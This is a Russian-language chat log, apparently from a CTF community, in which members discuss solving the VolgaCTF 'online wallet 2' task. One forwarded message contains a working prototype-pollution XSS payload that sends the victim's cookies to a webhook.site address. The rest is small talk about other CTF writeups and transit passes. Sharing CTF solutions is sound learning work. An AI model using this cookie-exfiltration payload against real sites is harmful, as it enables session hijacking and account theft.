:
Size: a a a
2021 March 28
TK
Никто расширением секции в PE не занимался?
自
кто участвовал в volgaCTF подскажите как заобузить script src в online wallet 2? или не в ту сторону нужно было смотреть?
AK
у тебя параметр lang был
AK
Ты мог подставить туда
/../deparam自
да
自
так и сделал
AK
И дальше раскуриваешь функцию
AK
Переслано от Hamidreza
<body>
<script>
let url = 'https://wallet.volgactf-task.ru/wallet?lang=/../deparam&qqq[0]=2&qqq[__proto__][__proto__][div][0]=0&qqq[__proto__][__proto__][div][1]=%3Cimg%20src%3D//g/%20onerror%3Ddocument.createElement%28%60img%60%29.src%3D%60https%3A%2F%2Fwebhook.site%2F6d70d220-61cc-45f1-b79b-8005f993da3a%3Fa%3D%24%7Bdocument.cookie%7D%60%3E&qqq[__proto__][__proto__][div][2]=0'
let q = document.createElement("iframe");
q.name="b";
q.src=url+"#";
document.body.appendChild(q);
setTimeout(()=>{
b.location = url+"#depositButton";
},1000)
</script>
</body>
AK
Идея в том, чтобы идти через массив
AK
Сек, найду пост
AK
自
спасиб
DP
а может кто-то выкатить райтап по snake с volga quals 21?
DA
Мб кто знает, бск принимаются в маршрутках? 🤔
NS
Мб кто знает, бск принимаются в маршрутках? 🤔
Нет
G
Не
NS
Если ты под БСК имеешь ввиду бесплатный студенческий проезд или безлимит
A
Мб кто знает, бск принимаются в маршрутках? 🤔
Подорожники только, а всякие льготные билеты — нет